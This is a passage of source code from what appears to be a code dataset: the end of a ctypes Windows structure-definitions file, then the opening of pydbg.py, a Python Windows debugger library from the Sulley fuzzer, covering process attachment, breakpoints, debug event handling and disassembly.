DWORD), ('u', N12_DEBUG_EVENT4DOLLAR_39E), ] assert sizeof(_DEBUG_EVENT) == 96, sizeof(_DEBUG_EVENT) assert alignment(_DEBUG_EVENT) == 4, alignment(_DEBUG_EVENT) LONG = c_long _LUID._fields_ = [ # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 394 ('LowPart', DWORD), ('HighPart', LONG), ] assert sizeof(_LUID) == 8, sizeof(_LUID) assert alignment(_LUID) == 4, alignment(_LUID) # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 3241 class _LUID_AND_ATTRIBUTES(Structure): pass _LUID_AND_ATTRIBUTES._fields_ = [ # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 3241 ('Luid', LUID), ('Attributes', DWORD), ] assert sizeof(_LUID_AND_ATTRIBUTES) == 12, sizeof(_LUID_AND_ATTRIBUTES) assert alignment(_LUID_AND_ATTRIBUTES) == 4, alignment(_LUID_AND_ATTRIBUTES) LUID_AND_ATTRIBUTES = _LUID_AND_ATTRIBUTES _TOKEN_PRIVILEGES._fields_ = [ # C:/PROGRA~1/gccxml/bin/Vc6/Include/winnt.h 4188 ('PrivilegeCount', DWORD), ('Privileges', LUID_AND_ATTRIBUTES * 1), ] assert sizeof(_TOKEN_PRIVILEGES) == 16, sizeof(_TOKEN_PRIVILEGES) assert alignment(_TOKEN_PRIVILEGES) == 4, alignment(_TOKEN_PRIVILEGES) _PROCESS_INFORMATION._fields_ = [ # C:/PROGRA~1/MICROS~2/VC98/Include/winbase.h 229 ('hProcess', HANDLE), ('hThread', HANDLE), ('dwProcessId', DWORD), ('dwThreadId', DWORD), ] assert sizeof(_PROCESS_INFORMATION) == 16, sizeof(_PROCESS_INFORMATION) assert alignment(_PROCESS_INFORMATION) == 4, alignment(_PROCESS_INFORMATION)
15,273
Python
.py
416
33.697115
195
0.704512
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,890
pydbg.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/pydbg/pydbg.py
#!c:\python\python.exe # # PyDBG # Copyright (C) 2006 Pedram Amini <pedram.amini@gmail.com> # # $Id: pydbg.py 204 2007-06-06 19:36:11Z aportnoy $ # # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public # License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later # version. # # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied # warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with this program; if not, write to the Free # Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # ''' @author: Pedram Amini @license: GNU General Public License 2.0 or later @contact: pedram.amini@gmail.com @organization: www.openrce.org ''' import sys import copy import signal import struct import pydasm from my_ctypes import * from defines import * from windows_h import * # macos compatability. try: kernel32 = windll.kernel32 advapi32 = windll.advapi32 ntdll = windll.ntdll except: kernel32 = CDLL("libmacdll.dylib") advapi32 = kernel32 from breakpoint import * from hardware_breakpoint import * from memory_breakpoint import * from memory_snapshot_block import * from memory_snapshot_context import * from pdx import * from system_dll import * class pydbg: ''' This class implements standard low leven functionality including: - The load() / attach() routines. - The main debug event loop. - Convenience wrappers for commonly used Windows API. - Single step toggling routine. - Win32 error handler wrapped around PDX. - Base exception / event handler routines which are meant to be overridden. Higher level functionality is also implemented including: - Register manipulation. - Soft (INT 3) breakpoints. - Memory breakpoints (page permissions). - Hardware breakpoints. - Exception / event handling call backs. - Pydasm (libdasm) disassembly wrapper. - Process memory snapshotting and restoring. - Endian manipulation routines. - Debugger hiding. - Function resolution. - "Intelligent" memory derefencing. - Stack/SEH unwinding. - Etc... ''' STRING_EXPLORATON_BUF_SIZE = 256 STRING_EXPLORATION_MIN_LENGTH = 2 #################################################################################################################### def __init__ (self, ff=True, cs=False): ''' Set the default attributes. See the source if you want to modify the default creation values. @type ff: Boolean @param ff: (Optional, Def=True) Flag controlling whether or not pydbg attaches to forked processes @type cs: Boolean @param cs: (Optional, Def=False) Flag controlling whether or not pydbg is in client/server (socket) mode ''' # private variables, internal use only: self._restore_breakpoint = None # breakpoint to restore self._guarded_pages = set() # specific pages we set PAGE_GUARD on self._guards_active = True # flag specifying whether or not guard pages are active self.page_size = 0 # memory page size (dynamically resolved at run-time) self.pid = 0 # debuggee's process id self.h_process = None # debuggee's process handle self.h_thread = None # handle to current debuggee thread self.debugger_active = True # flag controlling the main debugger event handling loop self.follow_forks = ff # flag controlling whether or not pydbg attaches to forked processes self.client_server = cs # flag controlling whether or not pydbg is in client/server mode self.callbacks = {} # exception callback handler dictionary self.system_dlls = [] # list of loaded system dlls self.dirty = False # flag specifying that the memory space of the debuggee was modified self.system_break = None # the address at which initial and forced breakpoints occur at self.peb = None # process environment block address self.tebs = {} # dictionary of thread IDs to thread environment block addresses # internal variables specific to the last triggered exception. self.context = None # thread context of offending thread self.dbg = None # DEBUG_EVENT self.exception_address = None # from dbg.u.Exception.ExceptionRecord.ExceptionAddress self.write_violation = None # from dbg.u.Exception.ExceptionRecord.ExceptionInformation[0] self.violation_address = None # from dbg.u.Exception.ExceptionRecord.ExceptionInformation[1] self.breakpoints = {} # internal breakpoint dictionary, keyed by address self.memory_breakpoints = {} # internal memory breakpoint dictionary, keyed by base address self.hardware_breakpoints = {} # internal hardware breakpoint array, indexed by slot (0-3 inclusive) self.memory_snapshot_blocks = [] # list of memory blocks at time of memory snapshot self.memory_snapshot_contexts = [] # list of threads contexts at time of memory snapshot self.first_breakpoint = True # this flag gets disabled once the windows initial break is handled self.memory_breakpoint_hit = 0 # address of hit memory breakpoint or zero on miss # designates whether or not the violation was in reaction to a memory # breakpoint hit or other unrelated event. self.hardware_breakpoint_hit = None # hardware breakpoint on hit or None on miss # designates whether or not the single step event was in reaction to # a hardware breakpoint hit or other unrelated event. self.instruction = None # pydasm instruction object, propagated by self.disasm() self.mnemonic = None # pydasm decoded instruction mnemonic, propagated by self.disasm() self.op1 = None # pydasm decoded 1st operand, propagated by self.disasm() self.op2 = None # pydasm decoded 2nd operand, propagated by self.disasm() self.op3 = None # pydasm decoded 3rd operand, propagated by self.disasm() # control debug/error logging. self._log = lambda msg: None self._err = lambda msg: sys.stderr.write("PDBG_ERR> " + msg + "\n") # determine the system page size. system_info = SYSTEM_INFO() kernel32.GetSystemInfo(byref(system_info)) self.page_size = system_info.dwPageSize # determine the system DbgBreakPoint address. this is the address at which initial and forced breaks happen. # XXX - need to look into fixing this for pydbg client/server. self.system_break = self.func_resolve("ntdll.dll", "DbgBreakPoint") self._log("system page size is %d" % self.page_size) #################################################################################################################### def addr_to_dll (self, address): ''' Return the system DLL that contains the address specified. @type address: DWORD @param address: Address to search system DLL ranges for @rtype: system_dll @return: System DLL that contains the address specified or None if not found. ''' for dll in self.system_dlls: if dll.base < address < dll.base + dll.size: return dll return None #################################################################################################################### def addr_to_module (self, address): ''' Return the MODULEENTRY32 structure for the module that contains the address specified. @type address: DWORD @param address: Address to search loaded module ranges for @rtype: MODULEENTRY32 @return: MODULEENTRY32 strucutre that contains the address specified or None if not found. ''' found = None for module in self.iterate_modules(): if module.modBaseAddr < address < module.modBaseAddr + module.modBaseSize: # we have to make a copy of the 'module' since it is an iterator and will be blown away. # the reason we can't "break" out of the loop is because there will be a handle leak. # and we can't use enumerate_modules() because we need the entire module structure. # so there... found = copy.copy(module) return found #################################################################################################################### def attach (self, pid): ''' Attach to the specified process by PID. Saves a process handle in self.h_process and prevents debuggee from exiting on debugger quit. @type pid: Integer @param pid: Process ID to attach to @raise pdx: An exception is raised on failure. @rtype: pydbg @return: Self ''' self._log("attaching to pid %d" % pid) # obtain necessary debug privileges. self.get_debug_privileges() self.pid = pid self.h_process = self.open_process(pid) self.debug_active_process(pid) # allow detaching on systems that support it. try: self.debug_set_process_kill_on_exit(False) except: pass # enumerate the TEBs and add them to the internal dictionary. for thread_id in self.enumerate_threads(): thread_handle = self.open_thread(thread_id) thread_context = self.get_thread_context(thread_handle) selector_entry = LDT_ENTRY() if not kernel32.GetThreadSelectorEntry(thread_handle, thread_context.SegFs, byref(selector_entry)): self.win32_error("GetThreadSelectorEntry()") self.close_handle(thread_handle) teb = selector_entry.BaseLow teb += (selector_entry.HighWord.Bits.BaseMid << 16) + (selector_entry.HighWord.Bits.BaseHi << 24) # add this TEB to the internal dictionary. self.tebs[thread_id] = teb # if the PEB has not been set yet, do so now. if not self.peb: self.peb = self.read_process_memory(teb + 0x30, 4) self.peb = struct.unpack("<L", self.peb)[0] return self.ret_self() #################################################################################################################### def bp_del (self, address): ''' Removes the breakpoint from target address. @see: bp_set(), bp_del_all(), bp_is_ours() @type address: DWORD or List @param address: Address or list of addresses to remove breakpoint from @raise pdx: An exception is raised on failure. @rtype: pydbg @return: Self ''' # if a list of addresses to remove breakpoints from was supplied. if type(address) is list: # pass each lone address to ourself. for addr in address: self.bp_del(addr) return self.ret_self() self._log("bp_del(0x%08x)" % address) # ensure a breakpoint exists at the target address. if self.breakpoints.has_key(address): # restore the original byte. self.write_process_memory(address, self.breakpoints[address].original_byte) self.set_attr("dirty", True) # remove the breakpoint from the internal list. del self.breakpoints[address] return self.ret_self() #################################################################################################################### def bp_del_all (self): ''' Removes all breakpoints from the debuggee. @see: bp_set(), bp_del(), bp_is_ours() @raise pdx: An exception is raised on failure. @rtype: pydbg @return: Self ''' self._log("bp_del_all()") for bp in self.breakpoints.keys(): self.bp_del(bp) return self.ret_self() #################################################################################################################### def bp_del_hw (self, address=None, slot=None): ''' Removes the hardware breakpoint from the specified address or slot. Either an address or a slot must be specified, but not both. @see: bp_set_hw(), bp_del_hw_all() @type address: DWORD @param address: (Optional) Address to remove hardware breakpoint from. @type slot: Integer (0 through 3) @param slot: (Optional) @raise pdx: An exception is raised on failure. @rtype: pydbg @return: Self ''' if address == slot == None: raise pdx("hw bp address or slot # must be specified.") if not address and slot not in xrange(4): raise pdx("invalid hw bp slot: %d. valid range is 0 through 3" % slot) # de-activate the hardware breakpoint for all active threads. for thread_id in self.enumerate_threads(): context = self.get_thread_context(thread_id=thread_id) if address: if context.Dr0 == address: slot = 0 elif context.Dr1 == address: slot = 1 elif context.Dr2 == address: slot = 2 elif context.Dr3 == address: slot = 3 # mark slot as inactive. # bits 0, 2, 4, 6 for local (L0 - L3) # bits 1, 3, 5, 7 for global (L0 - L3) context.Dr7 &= ~(1 << (slot * 2)) # remove address from the specified slot. if slot == 0: context.Dr0 = 0x00000000 elif slot == 1: context.Dr1 = 0x00000000 elif slot == 2: context.Dr2 = 0x00000000 elif slot == 3: context.Dr3 = 0x00000000 # remove the condition (RW0 - RW3) field from the appropriate slot (bits 16/17, 20/21, 24,25, 28/29) context.Dr7 &= ~(3 << ((slot * 4) + 16)) # remove the length (LEN0-LEN3) field from the appropriate slot (bits 18/19, 22/23, 26/27, 30/31) context.Dr7 &= ~(3 << ((slot * 4) + 18)) # set the thread context. self.set_thread_context(context, thread_id=thread_id) # remove the breakpoint from the internal list. del self.hardware_breakpoints[slot] return self.ret_self() #################################################################################################################### def bp_del_hw_all (self): ''' Removes all hardware breakpoints from the debuggee. @see: bp_set_hw(), bp_del_hw() @raise pdx: An exception is raised on failure. @rtype: pydbg @return: Self ''' if self.hardware_breakpoints.has_key(0): self.bp_del_hw(slot=0) if self.hardware_breakpoints.has_key(1): self.bp_del_hw(slot=1) if self.hardware_breakpoints.has_key(2): self.bp_del_hw(slot=2) if self.hardware_breakpoints.has_key(3): self.bp_del_hw(slot=3) return self.ret_self() #################################################################################################################### def bp_del_mem (self, address): ''' Removes the memory breakpoint from target address. @see: bp_del_mem_all(), bp_set_mem(), bp_is_ours_mem() @type address: DWORD @param address: Address or list of addresses to remove memory breakpoint from @raise pdx: An exception is raised on failure. @rtype: pydbg @return: Self ''' self._log("bp_del_mem(0x%08x)" % address) # ensure a memory breakpoint exists at the target address. if self.memory_breakpoints.has_key(address): size = self.memory_breakpoints[address].size mbi = self.memory_breakpoints[address].mbi # remove the memory breakpoint from our internal list. del self.memory_breakpoints[address] # page-aligned target memory range. start = mbi.BaseAddress end = address + size # non page-aligned range end end = end + self.page_size - (end % self.page_size) # page-aligned range end # for each page in the target range, restore the original page permissions if no other breakpoint exists. for page in range(start, end, self.page_size): other_bp_found = False for mem_bp in self.memory_breakpoints.values(): if page <= mem_bp.address < page + self.page_size: other_bp_found = True break if page <= mem_bp.address + size < page + self.page_size: other_bp_found = True break if not other_bp_found: try: self.virtual_protect(page, 1, mbi.Protect & ~PAGE_GUARD) # remove the page from the set of tracked GUARD pages. self._guarded_pages.remove(mbi.BaseAddress) except: pass return self.ret_self() #################################################################################################################### def bp_del_mem_all (self): ''' Removes all memory breakpoints from the debuggee. @see: bp_del_mem(), bp_set_mem(), bp_is_ours_mem() @raise pdx: An exception is raised on failure. @rtype: pydbg @return: Self ''' self._log("bp_del_mem_all()") for address in self.memory_breakpoints.keys(): self.bp_del_mem(address) return self.ret_self() #################################################################################################################### def bp_is_ours (self, address_to_check): ''' Determine if a breakpoint address belongs to us. @see: bp_set(), bp_del(), bp_del_all() @type address_to_check: DWORD @param address_to_check: Address to check if we have set a breakpoint at @rtype: Bool @return: True if breakpoint in question is ours, False otherwise ''' if self.breakpoints.has_key(address_to_check): return True return False #################################################################################################################### def bp_is_ours_mem (self, address_to_check): ''' Determines if the specified address falls within the range of one of our memory breakpoints. When handling potential memory breakpoint exceptions it is mandatory to check the offending address with this routine as memory breakpoints are implemented by changing page permissions and the referenced address may very well exist within the same page as a memory breakpoint but not within the actual range of the buffer we wish to break on. @see: bp_set_mem(), bp_del_mem(), bp_del_mem_all() @type address_to_check: DWORD @param address_to_check: Address to check if we have set a breakpoint on @rtype: Mixed @return: The starting address of the buffer our breakpoint triggered on or False if address falls outside range. ''' for address in self.memory_breakpoints: size = self.memory_breakpoints[address].size if address_to_check >= address and address_to_check <= address + size: return address return False #################################################################################################################### def bp_set (self, address, description="", restore=True, handler=None): ''' Sets a breakpoint at the designated address. Register an EXCEPTION_BREAKPOINT callback handler to catch breakpoint events. If a list of addresses is submitted to this routine then the entire list of new breakpoints get the same description and restore. The optional "handler" parameter can be used to identify a function to specifically handle the specified bp, as opposed to the generic bp callback handler. The prototype of the callback routines is:: func (pydbg) return DBG_CONTINUE # or other continue status @see: bp_is_ours(), bp_del(), bp_del_all() @type address: DWORD or List @param address: Address or list of addresses to set breakpoint at @type description: String @param description: (Optional) Description to associate with this breakpoint @type restore: Bool @param restore: (Optional, def=True) Flag controlling whether or not to restore the breakpoint @type handler: Function Pointer @param handler: (Optional, def=None) Optional handler to call for this bp instead of the default handler @raise pdx: An exception is raised on failure. @rtype: pydbg @return: Self ''' # if a list of addresses to set breakpoints on from was supplied if type(address) is list: # pass each lone address to ourself (each one gets the same description / restore flag). for addr in address: self.bp_set(addr, description, restore, handler) return self.ret_self() self._log("bp_set(0x%08x)" % address) # ensure a breakpoint doesn't already exist at the target address. if not self.breakpoints.has_key(address): try: # save the original byte at the requested breakpoint address. original_byte = self.read_process_memory(address, 1) # write an int3 into the target process space. self.write_process_memory(address, "\xCC") self.set_attr("dirty", True) # add the breakpoint to the internal list. self.breakpoints[address] = breakpoint(address, original_byte, description, restore, handler) except: raise pdx("Failed setting breakpoint at %08x" % address) return self.ret_self() #################################################################################################################### def bp_set_hw (self, address, length, condition, description="", restore=True, handler=None): ''' Sets a hardware breakpoint at the designated address. Register an EXCEPTION_SINGLE_STEP callback handler to catch hardware breakpoint events. Setting hardware breakpoints requires the internal h_thread handle be set. This means that you can not set one outside the context of an debug event handler. If you want to set a hardware breakpoint as soon as you attach to or load a process, do so in the first chance breakpoint handler. For more information regarding the Intel x86 debug registers and hardware breakpoints see:: http://pdos.csail.mit.edu/6.828/2005/readings/ia32/IA32-3.pdf Section 15.2 Alternatively, you can register a custom handler to handle hits on the specific hw breakpoint slot. *Warning: Setting hardware breakpoints during the first system breakpoint will be removed upon process continue. A better approach is to set a software breakpoint that when hit will set your hardware breakpoints. @note: Hardware breakpoints are handled globally throughout the entire process and not a single specific thread. @see: bp_del_hw(), bp_del_hw_all() @type address: DWORD @param address: Address to set hardware breakpoint at @type length: Integer (1, 2 or 4) @param length: Size of hardware breakpoint in bytes (byte, word or dword) @type condition: Integer (HW_ACCESS, HW_WRITE, HW_EXECUTE) @param condition: Condition to set the hardware breakpoint to activate on @type description: String @param description: (Optional) Description of breakpoint @type restore: Boolean @param restore: (Optional, def=True) Flag controlling whether or not to restore the breakpoint @type handler: Function Pointer @param handler: (Optional, def=None) Optional handler to call for this bp instead of the default handler @raise pdx: An exception is raised on failure. @rtype: pydbg @return: Self ''' self._log("bp_set_hw(%08x, %d, %s)" % (address, length, condition)) # instantiate a new hardware breakpoint object for the new bp to create. hw_bp = hardware_breakpoint(address, length, condition, description, restore, handler=handler) if length not in (1, 2, 4): raise pdx("invalid hw breakpoint length: %d." % length) # length -= 1 because the following codes are used for determining length: # 00 - 1 byte length # 01 - 2 byte length # 10 - undefined # 11 - 4 byte length length -= 1 # condition table: # 00 - break on instruction execution only # 01 - break on data writes only # 10 - undefined # 11 - break on data reads or writes but not instruction fetches if condition not in (HW_ACCESS, HW_EXECUTE, HW_WRITE): raise pdx("invalid hw breakpoint condition: %d" % condition) # check for any available hardware breakpoint slots. there doesn't appear to be any difference between local # and global as far as we are concerned on windows. # # bits 0, 2, 4, 6 for local (L0 - L3) # bits 1, 3, 5, 7 for global (G0 - G3) # # we could programatically search for an open slot in a given thread context with the following code: # # available = None # for slot in xrange(4): # if context.Dr7 & (1 << (slot * 2)) == 0: # available = slot # break # # but since we are doing global hardware breakpoints, we rely on ourself for tracking open slots. if not self.hardware_breakpoints.has_key(0): available = 0 elif not self.hardware_breakpoints.has_key(1): available = 1 elif not self.hardware_breakpoints.has_key(2): available = 2 elif not self.hardware_breakpoints.has_key(3): available = 3 else: raise pdx("no hw breakpoint slots available.") # activate the hardware breakpoint for all active threads. for thread_id in self.enumerate_threads(): context = self.get_thread_context(thread_id=thread_id) # mark available debug register as active (L0 - L3). context.Dr7 |= 1 << (available * 2) # save our breakpoint address to the available hw bp slot. if available == 0: context.Dr0 = address elif available == 1: context.Dr1 = address elif available == 2: context.Dr2 = address elif available == 3: context.Dr3 = address # set the condition (RW0 - RW3) field for the appropriate slot (bits 16/17, 20/21, 24,25, 28/29) context.Dr7 |= condition << ((available * 4) + 16) # set the length (LEN0-LEN3) field for the appropriate slot (bits 18/19, 22/23, 26/27, 30/31) context.Dr7 |= length << ((available * 4) + 18) # set the thread context. self.set_thread_context(context, thread_id=thread_id) # update the internal hardware breakpoint array at the used slot index. hw_bp.slot = available self.hardware_breakpoints[available] = hw_bp return self.ret_self() #################################################################################################################### def bp_set_mem (self, address, size, description="", handler=None): ''' Sets a memory breakpoint at the target address. This is implemented by changing the permissions of the page containing the address to PAGE_GUARD. To catch memory breakpoints you have to register the EXCEPTION_GUARD_PAGE callback. Within the callback handler check the internal pydbg variable self.memory_breakpoint_hit to determine if the violation was a result of a direct memory breakpoint hit or some unrelated event. Alternatively, you can register a custom handler to handle the memory breakpoint. Memory breakpoints are automatically restored via the internal single step handler. To remove a memory breakpoint, you must explicitly call bp_del_mem(). @see: bp_is_ours_mem(), bp_del_mem(), bp_del_mem_all() @type address: DWORD @param address: Starting address of the buffer to break on @type size: Integer @param size: Size of the buffer to break on @type description: String @param description: (Optional) Description to associate with this breakpoint @type handler: Function Pointer @param handler: (Optional, def=None) Optional handler to call for this bp instead of the default handler @raise pdx: An exception is raised on failure. @rtype: pydbg @return: Self ''' self._log("bp_set_mem() buffer range is %08x - %08x" % (address, address + size)) # ensure the target address doesn't already sit in a memory breakpoint range: if self.bp_is_ours_mem(address): self._log("a memory breakpoint spanning %08x already exists" % address) return self.ret_self() # determine the base address of the page containing the starting point of our buffer. try: mbi = self.virtual_query(address) except: raise pdx("bp_set_mem(): failed querying address: %08x" % address) self._log("buffer starting at %08x sits on page starting at %08x" % (address, mbi.BaseAddress)) # individually change the page permissions for each page our buffer spans. # why do we individually set the page permissions of each page as opposed to a range of pages? because empirical # testing shows that when you set a PAGE_GUARD on a range of pages, if any of those pages are accessed, then # the PAGE_GUARD attribute is dropped for the entire range of pages that was originally modified. this is # undesirable for our purposes when it comes to the ease of restoring hit memory breakpoints. current_page = mbi.BaseAddress while current_page <= address + size: self._log("changing page permissions on %08x" % current_page) # keep track of explicitly guarded pages, to differentiate from pages guarded by the debuggee / OS. self._guarded_pages.add(current_page) self.virtual_protect(current_page, 1, mbi.Protect | PAGE_GUARD) current_page += self.page_size # add the breakpoint to the internal list. self.memory_breakpoints[address] = memory_breakpoint(address, size, mbi, description, handler) return self.ret_self() #################################################################################################################### def close_handle (self, handle): ''' Convenience wraper around kernel32.CloseHandle() @type handle: Handle @param handle: Handle to close @rtype: Bool @return: Return value from CloseHandle(). ''' return kernel32.CloseHandle(handle) #################################################################################################################### def dbg_print_all_debug_registers (self): ''' *** DEBUG ROUTINE *** This is a debugging routine that was used when debugging hardware breakpoints. It was too useful to be removed from the release code. ''' # ensure we have an up to date context for the current thread. context = self.get_thread_context(self.h_thread) print "eip = %08x" % context.Eip print "Dr0 = %08x" % context.Dr0 print "Dr1 = %08x" % context.Dr1 print "Dr2 = %08x" % context.Dr2 print "Dr3 = %08x" % context.Dr3 print "Dr7 = %s" % self.to_binary(context.Dr7) print " 10987654321098765432109876543210" print " 332222222222111111111" #################################################################################################################### def dbg_print_all_guarded_pages (self): ''' *** DEBUG ROUTINE *** This is a debugging routine that was used when debugging memory breakpoints. It was too useful to be removed from the release code. ''' cursor = 0 # scan through the entire memory range. while cursor < 0xFFFFFFFF: try: mbi = self.virtual_query(cursor) except: break if mbi.Protect & PAGE_GUARD: address = mbi.BaseAddress print "PAGE GUARD on %08x" % mbi.BaseAddress while 1: address += self.page_size tmp_mbi = self.virtual_query(address) if not tmp_mbi.Protect & PAGE_GUARD: break print "PAGE GUARD on %08x" % address cursor += mbi.RegionSize #################################################################################################################### def debug_active_process (self, pid): ''' Convenience wrapper around GetLastError() and FormatMessage(). Returns the error code and formatted message associated with the last error. You probably do not want to call this directly, rather look at attach(). @type pid: Integer @param pid: Process ID to attach to @raise pdx: An exception is raised on failure. ''' if not kernel32.DebugActiveProcess(pid): raise pdx("DebugActiveProcess(%d)" % pid, True) #################################################################################################################### def debug_event_iteration (self): ''' Check for and process a debug event. ''' continue_status = DBG_CONTINUE dbg = DEBUG_EVENT() # wait for a debug event. if kernel32.WaitForDebugEvent(byref(dbg), 100): # grab various information with regards to the current exception. self.h_thread = self.open_thread(dbg.dwThreadId) self.context = self.get_thread_context(self.h_thread) self.dbg = dbg self.exception_address = dbg.u.Exception.ExceptionRecord.ExceptionAddress self.write_violation = dbg.u.Exception.ExceptionRecord.ExceptionInformation[0] self.violation_address = dbg.u.Exception.ExceptionRecord.ExceptionInformation[1] if dbg.dwDebugEventCode == CREATE_PROCESS_DEBUG_EVENT: continue_status = self.event_handler_create_process() elif dbg.dwDebugEventCode == CREATE_THREAD_DEBUG_EVENT: continue_status = self.event_handler_create_thread() elif dbg.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT: continue_status = self.event_handler_exit_process() elif dbg.dwDebugEventCode == EXIT_THREAD_DEBUG_EVENT: continue_status = self.event_handler_exit_thread() elif dbg.dwDebugEventCode == LOAD_DLL_DEBUG_EVENT: continue_status = self.event_handler_load_dll() elif dbg.dwDebugEventCode == UNLOAD_DLL_DEBUG_EVENT: continue_status = self.event_handler_unload_dll() # an exception was caught. elif dbg.dwDebugEventCode == EXCEPTION_DEBUG_EVENT: ec = dbg.u.Exception.ExceptionRecord.ExceptionCode self._log("debug_event_loop() exception: %08x" % ec) # call the internal handler for the exception event that just occured. if ec == EXCEPTION_ACCESS_VIOLATION: continue_status = self.exception_handler_access_violation() elif ec == EXCEPTION_BREAKPOINT: continue_status = self.exception_handler_breakpoint() elif ec == EXCEPTION_GUARD_PAGE: continue_status = self.exception_handler_guard_page() elif ec == EXCEPTION_SINGLE_STEP: continue_status = self.exception_handler_single_step() # generic callback support. elif self.callbacks.has_key(ec): continue_status = self.callbacks[ec](self) # unhandled exception. else: self._log("TID:%04x caused an unhandled exception (%08x) at %08x" % (self.dbg.dwThreadId, ec, self.exception_address)) continue_status = DBG_EXCEPTION_NOT_HANDLED # if the memory space of the debuggee was tainted, flush the instruction cache. # from MSDN: Applications should call FlushInstructionCache if they generate or modify code in memory. # The CPU cannot detect the change, and may execute the old code it cached. if self.dirty: kernel32.FlushInstructionCache(self.h_process, 0, 0) # close the opened thread handle and resume executing the thread that triggered the debug event. self.close_handle(self.h_thread) kernel32.ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, continue_status) #################################################################################################################### def debug_event_loop (self): ''' Enter the infinite debug event handling loop. This is the main loop of the debugger and is responsible for catching debug events and exceptions and dispatching them appropriately. This routine will check for and call the USER_CALLBACK_DEBUG_EVENT callback on each loop iteration. run() is an alias for this routine. @see: run() @raise pdx: An exception is raised on any exceptional conditions, such as debugger being interrupted or debuggee quiting. ''' while self.debugger_active: # don't let the user interrupt us in the midst of handling a debug event. try: def_sigint_handler = None def_sigint_handler = signal.signal(signal.SIGINT, self.sigint_handler) except: pass # if a user callback was specified, call it. if self.callbacks.has_key(USER_CALLBACK_DEBUG_EVENT): # user callbacks do not / should not access debugger or contextual information. self.dbg = self.context = None self.callbacks[USER_CALLBACK_DEBUG_EVENT](self) # iterate through a debug event. self.debug_event_iteration() # resume keyboard interruptability. if def_sigint_handler: signal.signal(signal.SIGINT, def_sigint_handler) # close the global process handle. self.close_handle(self.h_process) #################################################################################################################### def debug_set_process_kill_on_exit (self, kill_on_exit): ''' Convenience wrapper around DebugSetProcessKillOnExit(). @type kill_on_exit: Bool @param kill_on_exit: True to kill the process on debugger exit, False to let debuggee continue running. @raise pdx: An exception is raised on failure. ''' if not kernel32.DebugSetProcessKillOnExit(kill_on_exit): raise pdx("DebugActiveProcess(%s)" % kill_on_exit, True) #################################################################################################################### def detach (self): ''' Detach from debuggee. @raise pdx: An exception is raised on failure. @rtype: pydbg @return: Self ''' self._log("detaching from debuggee") # remove all software, memory and hardware breakpoints. self.bp_del_all() self.bp_del_mem_all() self.bp_del_hw_all() # try to detach from the target process if the API is available on the current platform. kernel32.DebugActiveProcessStop(self.pid) self.set_debugger_active(False) return self.ret_self() #################################################################################################################### def disasm (self, address): ''' Pydasm disassemble utility function wrapper. Stores the pydasm decoded instruction in self.instruction. @type address: DWORD @param address: Address to disassemble at @rtype: String @return: Disassembled string. ''' try: data = self.read_process_memory(address, 32) except: return "Unable to disassemble at %08x" % address # update our internal member variables. self.instruction = pydasm.get_instruction(data, pydasm.MODE_32) if not self.instruction: self.mnemonic = "[UNKNOWN]" self.op1 = "" self.op2 = "" self.op3 = "" return "[UNKNOWN]" else: self.mnemonic = pydasm.get_mnemonic_string(self.instruction, pydasm.FORMAT_INTEL) self.op1 = pydasm.get_operand_string(self.instruction, 0, pydasm.FORMAT_INTEL, address) self.op2 = pydasm.get_operand_string(self.instruction, 1, pydasm.FORMAT_INTEL, address) self.op3 = pydasm.get_operand_string(self.instruction, 2, pydasm.FORMAT_INTEL, address) # the rstrip() is for removing extraneous trailing whitespace that libdasm sometimes leaves. return pydasm.get_instruction_string(self.instruction, pydasm.FORMAT_INTEL, address).rstrip(" ") #################################################################################################################### def disasm_around (self, address, num_inst=5): ''' Given a specified address this routine will return the list of 5 instructions before and after the instruction at address (including the instruction at address, so 11 instructions in total). This is accomplished by grabbing a larger chunk of data around the address than what is predicted as necessary and then disassembling forward. If during the forward disassembly the requested address lines up with the start of an instruction, then the assumption is made that the forward disassembly self corrected itself and the instruction set is returned. If we are unable to align with the original address, then we modify our data slice and try again until we do. @type address: DWORD @param address: Address to disassemble around @type num_inst: Integer @param num_inst: (Optional, Def=5) Number of instructions to disassemble up/down from address @rtype: List @return: List of tuples (address, disassembly) of instructions around the specified address. ''' # grab a safe window size of bytes. window_size = (num_inst / 5) * 64 # grab a window of bytes before and after the requested address. try: data = self.read_process_memory(address - window_size, window_size * 2) except: return [(address, "Unable to disassemble")] # the rstrip() is for removing extraneous trailing whitespace that libdasm sometimes leaves. i = pydasm.get_instruction(data[window_size:], pydasm.MODE_32) disassembly = pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, address).rstrip(" ") complete = False start_byte = 0 # loop until we retrieve a set of instructions that align to the requested address. while not complete: instructions = [] slice = data[start_byte:] offset = 0 # step through the bytes in the data slice. while offset < len(slice): i = pydasm.get_instruction(slice[offset:], pydasm.MODE_32) if not i: break # calculate the actual address of the instruction at the current offset and grab the disassembly addr = address - window_size + start_byte + offset inst = pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, addr).rstrip(" ") # add the address / instruction pair to our list of tuples. instructions.append((addr, inst)) # increment the offset into the data slice by the length of the current instruction. offset += i.length # we're done processing a data slice. # step through each addres / instruction tuple in our instruction list looking for an instruction alignment # match. we do the match on address and the original disassembled instruction. index_of_address = 0 for (addr, inst) in instructions: if addr == address and inst == disassembly: complete = True break index_of_address += 1 start_byte += 1 return instructions[index_of_address-num_inst:index_of_address+num_inst+1] #################################################################################################################### def dump_context (self, context=None, stack_depth=5, print_dots=True): ''' Return an informational block of text describing the CPU context of the current thread. Information includes: - Disassembly at current EIP - Register values in hex, decimal and "smart" dereferenced - ESP, ESP+4, ESP+8 ... values in hex, decimal and "smart" dereferenced @see: dump_context_list() @type context: Context @param context: (Optional) Current thread context to examine @type stack_depth: Integer @param stack_depth: (Optional, def:5) Number of dwords to dereference off of the stack (not including ESP) @type print_dots: Bool @param 